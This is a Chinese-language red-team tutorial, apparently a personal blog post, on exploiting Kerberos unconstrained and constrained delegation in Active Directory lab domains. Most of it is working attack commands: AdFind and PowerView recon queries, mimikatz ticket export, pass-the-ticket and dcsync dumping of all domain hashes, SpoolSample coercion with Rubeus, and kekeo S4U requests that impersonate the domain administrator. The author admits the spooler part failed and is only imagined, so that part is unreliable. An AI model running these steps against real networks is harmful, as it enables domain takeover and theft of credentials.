約束性委派和非約束性委派利用
委派分為
非約束委派
約束委派
基於資源的約束性委派
委派具體的概念就不寫了,網上挺多的
查詢非約束委派的方法
需要一個普通域賬號
Adfind.exe 查詢
#查詢域內配置非約束委派的主機
AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
獲得普通域賬號saul的密碼的情況下
AdFind.exe -h 10.10.10.8(域控ip) -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查詢域內配置非約束委派的服務賬號
AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306368))(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
powerview查詢
#查詢域內配置非約束委派的主機
get-netcomputer -unconstrained | select dnshostname,samaccountname
獲取非約束委派的服務賬號我用powerview失敗了
非約束性委派利用演示
windows2012:10.10.10.10 域控 ad.superman.com
1、清空票據:klist purge or mimikatz.exe "privilege::debug" "kerberos::purge"
2、模擬域控訪問win2012主機,使之產生票據:powershell執行命令Enter-PSSession -ComputerName user
3、使用獲得shell,需要高許可權,如主機的administrator或者system,這裡我以administrator為例,機器的adminstator。
先使用beacon執行:dir \\ad\c$ 顯示拒絕或者賬號密碼錯誤,沒有截圖,自己試驗下就知道了,ad代表域控的機器名,不固定。
3.1匯出票據:shell mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
3.2通過ptt將票據TGT注入到會話中:由於步驟2已經模擬域控登陸過了,所以直接執行mimikatz:shell mimikatz.exe "privilege::debug" "kerberos::ptt [c;5c5c5dc1][email protected]"
4、重新執行dir \\AD\c$,可以看到可以列印AD機器的c盤資料夾
5、匯出域內所有hash mimikatz lsadump::dcsync /all /csv
上述的過程需要域管理員連線機器,比較被動,結合spooler印表機漏洞可以主動獲得TGT票據
其實在實驗中還測試了服務賬號配置為非約束委派,機器使用者不配置任何委派的情況,為的就是測試服務賬號的非約束委派,當按照上述步驟做的時候發現沒有生成高許可權票據,懷疑是訪問的方式不對,畢竟Enter-PSSession -ComputerName user連線的是機器使用者,而服務賬號的訪問也沒搜到什麼資料如何訪問,所以先擱置吧。
非約束性委派結合spooler印表機漏洞演示
注:機器賬號必須開啟非約束委派,而非服務賬號。
使用SpoolSample,GitHub上面有,也有編譯好的版本
[https://github.com/shanfenglan/test/tree/master/spooler]:
但是我的win2012使用該檔案會報錯,具體原因不知,換了個幾個版本也一樣,可能跟系統有關
由於沒有實驗成功,就腦洞模擬下,以後遇到高人了在請教請教
1、首先確定靶機spooler服務是否正常,預設都是自啟動的;操作的機器需要是被非約束委派的機器賬號
2、使spooler強制傳送驗證,SpoolSample.exe AD win2012 (SpoolSample.exe target機器名 監聽機器名),由於上面說過了我失敗了,就不截圖了。
3、Rebeus監聽模式:Rubeus.exe monitor /interval:1 /filteruser:AD$
也可以使用mimikatz匯出票據 :mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
4、接下來的步驟跟之前的演示一樣,匯入票據,獲取hash,關鍵的還是spooler的二進位制利用程式跑不起來。
查詢約束委派的方法
Adfind.exe查詢
同樣至少需要一個普通域賬號的shell或賬號密碼
#查詢域內配置約束委派的主機賬號
AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
只是機器賬號但有域內賬號密碼的情況下
AdFind.exe -h 10.10.10.10 -u saul -up Openx123.. -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查詢域內配置約束委派的服務賬號
AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
powerview查詢
(注意使用dev版本https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
#查詢域內配置約束委派的主機賬號
Get-DomainComputer -TrustedToAuth -Domain superman.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
#查詢域內配置約束委派的服務賬號
Get-DomainUser -TrustedToAuth -Domain superman.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
約束性委派利用演示
首先一樣,使用沒有任何委派的普通域賬號dir \\ad\c$是拒絕訪問。使用該方法前提是有約束委派賬號的明文密碼或hash
以下實驗為利用約束委派服務賬號的過程
1、清空票據:klist purge
2、請求約束委派服務賬號hack的TGT票據,利用工具kekeo: tgt::ask /user:hack /domain:superman.com /password:Openx123.. /ticket:test.kirbi
或者只有hash的情況下 /ticket
tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX /ticket:test.kirbi
3、使用s4uself和s4uproxy獲取TGS票據:tgs:s4u /tgt:TGT_hack@Supermanxxxxxxxxxxx(上圖箭頭標註的票據名) /user:[email protected] /service:cifs/ad.superman.com
4、匯入ST票據進記憶體:kerberos::ptt TGS_administrator@supermanxxxxxxx(上圖箭頭標識的票據)
可以看到即使是saul使用者依然可以dir \\ad\c$
以下為拿到域內機器賬號的利用演示
其他步驟一樣,就第二步不同,需要用ntlm獲取TGT票據,拿mimikatz跑一下即可。
後面再學基於資源的約束性委派,那個才是重點。